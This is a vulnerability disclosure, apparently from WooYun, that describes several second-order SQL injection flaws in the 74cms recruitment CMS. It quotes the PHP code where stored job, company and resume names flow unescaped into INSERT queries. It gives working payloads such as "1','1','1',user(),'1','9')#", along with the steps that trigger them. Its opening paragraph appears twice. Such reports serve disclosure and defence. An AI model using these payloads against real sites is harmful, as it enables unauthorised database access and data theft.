### 简要描述: 看完了xfkxfk大神的 http://wooyun.org/bugs/wooyun-2010-070827 http://wooyun.org/bugs/wooyun-2014-070858 对74cms尝试了下,果然有收货。 ### 详细说明: 1. ``` user/company/company_ajax.php elseif($act=="promotion_add_save"){ ************************ report_deal($uid,2,$points); $user_points=get_user_points($uid); write_memberslog($uid,1,9001,$_SESSION['username'],"{$pro_cat['cat_name']}:<strong>{$jobs['jobs_name']}</strong>,推广 {$days} 天,(-{$points}),(剩余:{$user_points})",1,1018,"{$pro_cat['cat_name']}","-{$points}","{$user_points}"); }elseif($_CFG['operation_mode']=='2'){ $user_pname=trim($_POST['pro_name']); action_user_setmeal($uid,$user_pname); //更新套餐中相应推广方式的条数 $setmeal=get_user_setmeal($uid);//获取会员套餐 write_memberslog($uid,1,9002,$_SESSION['username'],"{$pro_cat['cat_name']}:<strong>{$jobs['jobs_name']}</strong>,推广 {$days} 天,套餐内剩余{$pro_cat['cat_name']}条数:{$setmeal[$user_pname]}条。",2,1018,"{$pro_cat['cat_name']}","-{$days}","{$setmeal[$user_pname]}");//9002是套餐操作 }...
### 简要描述: 看完了xfkxfk大神的 http://wooyun.org/bugs/wooyun-2010-070827 http://wooyun.org/bugs/wooyun-2014-070858 对74cms尝试了下,果然有收货。 ### 详细说明: 1. ``` user/company/company_ajax.php elseif($act=="promotion_add_save"){ ************************ report_deal($uid,2,$points); $user_points=get_user_points($uid); write_memberslog($uid,1,9001,$_SESSION['username'],"{$pro_cat['cat_name']}:<strong>{$jobs['jobs_name']}</strong>,推广 {$days} 天,(-{$points}),(剩余:{$user_points})",1,1018,"{$pro_cat['cat_name']}","-{$points}","{$user_points}"); }elseif($_CFG['operation_mode']=='2'){ $user_pname=trim($_POST['pro_name']); action_user_setmeal($uid,$user_pname); //更新套餐中相应推广方式的条数 $setmeal=get_user_setmeal($uid);//获取会员套餐 write_memberslog($uid,1,9002,$_SESSION['username'],"{$pro_cat['cat_name']}:<strong>{$jobs['jobs_name']}</strong>,推广 {$days} 天,套餐内剩余{$pro_cat['cat_name']}条数:{$setmeal[$user_pname]}条。",2,1018,"{$pro_cat['cat_name']}","-{$days}","{$setmeal[$user_pname]}");//9002是套餐操作 } write_memberslog($uid,1,3004,$_SESSION['username'],"{$pro_cat['cat_name']}:<strong>{$jobs['jobs_name']}</strong>,推广 {$days} 天。"); ******************* } ``` 会调用write_memberslog这个函数。 然后重点看这个变量$jobs['jobs_name'] 从上面我们可以得知 $jobs=get_jobs_one($jobid,$uid); 然后再继续看下去 ``` function get_jobs_one($id,$uid='') { global $db,$timestamp; $id=intval($id); if (!empty($uid)) $wheresql=" AND uid=".intval($uid); $tb1=$db->getone("select * from ".table('jobs')." where id='{$id}' {$wheresql} LIMIT 1"); $tb2=$db->getone("select * from ".table('jobs_tmp')." where id='{$id}' {$wheresql} LIMIT 1"); $val=!empty($tb1)?$tb1:$tb2; if (empty($val)) return false; $val['contact']=$db->getone("select * from ".table('jobs_contact')." where pid='{$val['id']}' LIMIT 1 "); $val['deadline_days']=($val['deadline']-$timestamp)>0?"距到期时间还有<strong style=\"color:#FF0000\">".sub_day($val['deadline'],$timestamp)."</strong>":"<span style=\"color:#FF6600\">目前已过期</span>"; return $val; } ``` 直接进行调用,没有处理。 So 我们可以这样, 新建一个职位,名称为 ``` 1','1','1',user(),'1','9')# ``` [<img src="https://images.seebug.org/upload/201411/03051105f466d5bc788b40f8268f6a84161a2271.png" alt="图片1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201411/03051105f466d5bc788b40f8268f6a84161a2271.png) 然后去为其消费,让其创建记录。置顶,变色,紧急,推荐都行。 [<img src="https://images.seebug.org/upload/201411/03051122eeecedae3943976b92157e4b3c75588a.png" alt="图片2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201411/03051122eeecedae3943976b92157e4b3c75588a.png) 然后在积分消费明细中可以看到 [<img src="https://images.seebug.org/upload/201411/03051137b8ce24732a51537caf2d0fc49f507d8d.png" alt="图片3.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201411/03051137b8ce24732a51537caf2d0fc49f507d8d.png) 经过上面,我们可以得知,经过函数get_jobs_one 返回的值没有就行处理。 然后可以搜索下喊函数,看看在什么地方调用了,而且进入了数据库。 [<img src="https://images.seebug.org/upload/201411/03051601244b747a056e98c691a3dde030a4b21b.png" alt="图片4.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201411/03051601244b747a056e98c691a3dde030a4b21b.png) 2. 下面继续看了一下申请职位名称这。 [<img src="https://images.seebug.org/upload/201411/03051708b9e934210fa511ed5699fe25a8f57450.png" alt="图片5.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201411/03051708b9e934210fa511ed5699fe25a8f57450.png) 这一处,在 个人简历名称 职位名称 企业名称 三处都没有进行过滤, 随后我们可以去查看一下源码。 我们可以找出 上面这三处 数据 是怎么获取的,然后尝试是否可以扩大战果。 $jobsarr=app_get_jobs($jobsid); foreach($jobsarr as $jobs){ $addarr['company_name']=$jobs['companyname']; $addarr['jobs_name']=$jobs['jobs_name']; } 简历信息在这 $resume_basic=get_resume_basic($_SESSION['uid'],$resumeid); 3. 在邀请面试的地方 同样发现了二次注入。 [<img src="https://images.seebug.org/upload/201411/030517449cd596c181b0d435957c7d79f9bec2e3.png" alt="图片6.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201411/030517449cd596c181b0d435957c7d79f9bec2e3.png) 这个构造一下吧 。 把企业名称修改成这样 ``` m',1,3,'zz',1,user(),1,1)# ``` 随后我们可以见下图 [<img src="https://images.seebug.org/upload/201411/030518209403d0036cb4a1d0212bd59bf3cae325.png" alt="图片8.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201411/030518209403d0036cb4a1d0212bd59bf3cae325.png) 4. 经过测试,又发现,收藏职位处也可二次注入, [<img src="https://images.seebug.org/upload/201411/030521489028ed3a60bece9e8e775ee609e72ca0.png" alt="图片10.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201411/030521489028ed3a60bece9e8e775ee609e72ca0.png) m'为企业名称 5. 发现一个有问题的函数 ``` function get_company($uid) { global $db; $sql = "select * from ".table('company_profile')." where uid=".intval($uid)." LIMIT 1 "; $result = $db->getone($sql); return $result; } ``` 获取企业资料不检测直接返回,随后找了这个函数进行了调用,然后执行了数据操作。 ``` function add_down_resume($resume_id,$company_uid,$resume_uid,$resume_name) { global $db,$timestamp; $resume_id=intval($resume_id); $company_uid=intval($company_uid); $resume_uid=intval($resume_uid); $resume_name=trim($resume_name); $company=get_company($company_uid); $sql = "INSERT INTO ".table('company_down_resume')." (resume_id,resume_uid,resume_name,company_uid,company_name,down_addtime) VALUES ('{$resume_id}','{$resume_uid}','{$resume_name}','{$company_uid}','{$company['companyname']}','{$timestamp}')"; return $db->query($sql); } ``` 然后再挖掘这个函数的 下载记录。 [<img src="https://images.seebug.org/upload/201411/03052315b8a98c1ac8101ef347f7d25463f9641f.png" alt="图片11.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201411/03052315b8a98c1ac8101ef347f7d25463f9641f.png) ### 漏洞证明: [<img src="https://images.seebug.org/upload/201411/03051137b8ce24732a51537caf2d0fc49f507d8d.png" alt="图片3.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201411/03051137b8ce24732a51537caf2d0fc49f507d8d.png) [<img src="https://images.seebug.org/upload/201411/030518209403d0036cb4a1d0212bd59bf3cae325.png" alt="图片8.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201411/030518209403d0036cb4a1d0212bd59bf3cae325.png)